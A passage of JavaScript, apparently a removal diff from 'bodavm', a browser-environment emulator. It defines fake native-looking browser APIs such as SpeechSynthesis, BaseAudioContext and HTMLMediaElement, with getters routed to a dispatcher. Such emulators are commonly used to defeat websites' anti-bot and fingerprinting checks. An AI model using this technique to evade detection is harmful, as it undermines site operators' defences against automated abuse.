paused() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "paused_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "pending", { set: undefined, enumerable: true, configurable: true, get: function pending() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "pending_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "speaking", { set: undefined, enumerable: true, configurable: true, get: function speaking() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "speaking_get ", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('SpeechSynthesis', "onvoiceschanged", { configurable: true, enumerable: true, get: function onvoiceschanged() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'] .prototype, "SpeechSynthesis", "onvoiceschanged_get ", arguments) }, set: function onvoiceschanged() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesis'].prototype, "SpeechSynthesis", "onvoiceschanged_set", arguments) } },'prototype'); - - -// speechSynthesis对象 -bodavm.memory.globalobj[ 'speechSynthesis'] = { - _boisinit:bodavm.config.isinit - -} -bodavm.memory.globalobj[ 'speechSynthesis'].__proto__=bodavm.memory.globalobj['SpeechSynthesis'] .prototype; -delete SpeechSynthesis - - - -// VisualViewport对象 -bodavm.memory.globalobj['VisualViewport'] = function VisualViewport(){if (!(this instanceof VisualViewport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VisualViewport'], "VisualViewport"); -bodavm.memory.globalobj['VisualViewport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['VisualViewport'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('VisualViewport', "offsetLeft", {configurable:true, enumerable:true, get:function offsetLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "offsetTop", {configurable:true, enumerable:true, get:function offsetTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "offsetTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "pageLeft", {configurable:true, enumerable:true, get:function pageLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "pageTop", {configurable:true, enumerable:true, get:function pageTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "pageTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "scale", {configurable:true, enumerable:true, get:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "scale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VisualViewport', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VisualViewport'].prototype, "VisualViewport", "onscroll_set", arguments)}},'prototype'); -// visualViewport对象 -bodavm.memory.globalobj['visualViewport'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['visualViewport'].__proto__=bodavm.memory.globalobj['VisualViewport'].prototype; - -// BeforeInstallPromptEvent对象 -bodavm.memory.globalobj['BeforeInstallPromptEvent'] = function BeforeInstallPromptEvent(){if (!(this instanceof BeforeInstallPromptEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'BeforeInstallPromptEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BeforeInstallPromptEvent'], "BeforeInstallPromptEvent"); -bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['BeforeInstallPromptEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "platforms", {configurable:true, enumerable:true, get:function platforms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "platforms_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "userChoice", {configurable:true, enumerable:true, get:function userChoice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "userChoice_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BeforeInstallPromptEvent', "prompt", {configurable:true, enumerable:true, writable:true, value:function prompt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BeforeInstallPromptEvent'].prototype, "BeforeInstallPromptEvent", "prompt", arguments)}},'prototype'); - -// BarProp对象 -bodavm.memory.globalobj['BarProp'] = function BarProp(){if (!(this instanceof BarProp)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BarProp'], "BarProp"); -bodavm.toolsFunc.defineProperty('BarProp', "visible", {configurable:true, enumerable:true, get:function visible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BarProp'].prototype, "BarProp", "visible_get", arguments)}, set:undefined},'prototype'); - -// BaseAudioContext对象 -bodavm.memory.globalobj['BaseAudioContext'] = function BaseAudioContext(){if (!(this instanceof BaseAudioContext)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BaseAudioContext'], "BaseAudioContext"); -bodavm.memory.globalobj['BaseAudioContext'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BaseAudioContext'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BaseAudioContext', "destination", {configurable:true, enumerable:true, get:function destination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "destination_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "currentTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "sampleRate", {configurable:true, enumerable:true, get:function sampleRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "sampleRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "listener", {configurable:true, enumerable:true, get:function listener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "listener_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "onstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createAnalyser", {configurable:true, enumerable:true, writable:true, value:function createAnalyser (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createAnalyser", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBiquadFilter", {configurable:true, enumerable:true, writable:true, value:function createBiquadFilter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBiquadFilter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBuffer", {configurable:true, enumerable:true, writable:true, value:function createBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createBufferSource", {configurable:true, enumerable:true, writable:true, value:function createBufferSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createBufferSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelMerger", {configurable:true, enumerable:true, writable:true, value:function createChannelMerger (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelMerger", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createChannelSplitter", {configurable:true, enumerable:true, writable:true, value:function createChannelSplitter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createChannelSplitter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConstantSource", {configurable:true, enumerable:true, writable:true, value:function createConstantSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConstantSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createConvolver", {configurable:true, enumerable:true, writable:true, value:function createConvolver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createConvolver", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDelay", {configurable:true, enumerable:true, writable:true, value:function createDelay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDelay", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createDynamicsCompressor", {configurable:true, enumerable:true, writable:true, value:function createDynamicsCompressor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createDynamicsCompressor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createGain", {configurable:true, enumerable:true, writable:true, value:function createGain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createGain", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createIIRFilter", {configurable:true, enumerable:true, writable:true, value:function createIIRFilter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createIIRFilter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createOscillator", {configurable:true, enumerable:true, writable:true, value:function createOscillator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createOscillator", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPanner", {configurable:true, enumerable:true, writable:true, value:function createPanner (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPanner", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createPeriodicWave", {configurable:true, enumerable:true, writable:true, value:function createPeriodicWave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createPeriodicWave", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createScriptProcessor", {configurable:true, enumerable:true, writable:true, value:function createScriptProcessor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createScriptProcessor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createStereoPanner", {configurable:true, enumerable:true, writable:true, value:function createStereoPanner (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createStereoPanner", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "createWaveShaper", {configurable:true, enumerable:true, writable:true, value:function createWaveShaper (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "createWaveShaper", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "decodeAudioData", {configurable:true, enumerable:true, writable:true, value:function decodeAudioData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "decodeAudioData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BaseAudioContext', "audioWorklet", {configurable:true, enumerable:true, get:function audioWorklet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BaseAudioContext'].prototype, "BaseAudioContext", "audioWorklet_get", arguments)}, set:undefined},'prototype'); - -// BluetoothUUID对象 -bodavm.memory.globalobj['BluetoothUUID'] = function BluetoothUUID(){if (!(this instanceof BluetoothUUID)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BluetoothUUID'], "BluetoothUUID"); -bodavm.toolsFunc.defineProperty('BluetoothUUID', "canonicalUUID", {configurable:true, enumerable:true, writable:true, value:function canonicalUUID (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "canonicalUUID", arguments)}}); -bodavm.toolsFunc.defineProperty('BluetoothUUID', "getCharacteristic", {configurable:true, enumerable:true, writable:true, value:function getCharacteristic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getCharacteristic", arguments)}}); -bodavm.toolsFunc.defineProperty('BluetoothUUID', "getDescriptor", {configurable:true, enumerable:true, writable:true, value:function getDescriptor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getDescriptor", arguments)}}); -bodavm.toolsFunc.defineProperty('BluetoothUUID', "getService", {configurable:true, enumerable:true, writable:true, value:function getService (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BluetoothUUID'].undefined, "BluetoothUUID", "getService", arguments)}}); - -bodavm.memory.globalobj['StyleMedia'] = function StyleMedia() { return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleMedia'] , "StyleMedia"); -bodavm.toolsFunc.defineProperty('StyleMedia', "matchMedium", { configurable: true, enumerable: true, get: function matchMedium() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleMedia'].prototype, "StyleMedia", "matchMedium", arguments) }, set: undefined },'prototype'); - -// styleMedia对象 -bodavm.memory.globalobj[ 'styleMedia']= {_boisinit:bodavm.config.isinit} -bodavm.memory.globalobj[ 'styleMedia'].__proto__=bodavm.memory.globalobj['StyleMedia'] .prototype; - -// HTMLMediaElement对象 -bodavm.memory.globalobj['HTMLMediaElement'] = function HTMLMediaElement(){if (!(this instanceof HTMLMediaElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLMediaElement'], "HTMLMediaElement"); -bodavm.memory.globalobj['HTMLMediaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLMediaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentSrc_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "networkState", {configurable:true, enumerable:true, get:function networkState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "networkState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preload", {configurable:true, enumerable:true, get:function preload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_get", arguments)}, set:function preload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "buffered", {configurable:true, enumerable:true, get:function buffered (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "buffered_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seeking", {configurable:true, enumerable:true, get:function seeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seeking_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "currentTime", {configurable:true, enumerable:true, get:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_get", arguments)}, set:function currentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "currentTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "paused", {configurable:true, enumerable:true, get:function paused (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "paused_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultPlaybackRate", {configurable:true, enumerable:true, get:function defaultPlaybackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_get", arguments)}, set:function defaultPlaybackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "playbackRate", {configurable:true, enumerable:true, get:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_get", arguments)}, set:function playbackRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "played", {configurable:true, enumerable:true, get:function played (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "played_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seekable", {configurable:true, enumerable:true, get:function seekable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seekable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "ended", {configurable:true, enumerable:true, get:function ended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "ended_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "autoplay", {configurable:true, enumerable:true, get:function autoplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_get", arguments)}, set:function autoplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "loop", {configurable:true, enumerable:true, get:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_get", arguments)}, set:function loop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preservesPitch", {configurable:true, enumerable:true, get:function preservesPitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_get", arguments)}, set:function preservesPitch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controls", {configurable:true, enumerable:true, get:function controls (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_get", arguments)}, set:function controls (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controlsList", {configurable:true, enumerable:true, get:function controlsList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_get", arguments)}, set:function controlsList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "volume", {configurable:true, enumerable:true, get:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_get", arguments)}, set:function volume (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "muted", {configurable:true, enumerable:true, get:function muted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_get", arguments)}, set:function muted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultMuted", {configurable:true, enumerable:true, get:function defaultMuted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_get", arguments)}, set:function defaultMuted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "textTracks", {configurable:true, enumerable:true, get:function textTracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "textTracks_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitAudioDecodedByteCount", {configurable:true, enumerable:true, get:function webkitAudioDecodedByteCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitAudioDecodedByteCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitVideoDecodedByteCount", {configurable:true, enumerable:true, get:function webkitVideoDecodedByteCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitVideoDecodedByteCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onencrypted", {configurable:true, enumerable:true, get:function onencrypted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_get", arguments)}, set:function onencrypted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onwaitingforkey", {configurable:true, enumerable:true, get:function onwaitingforkey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_get", arguments)}, set:function onwaitingforkey (){return 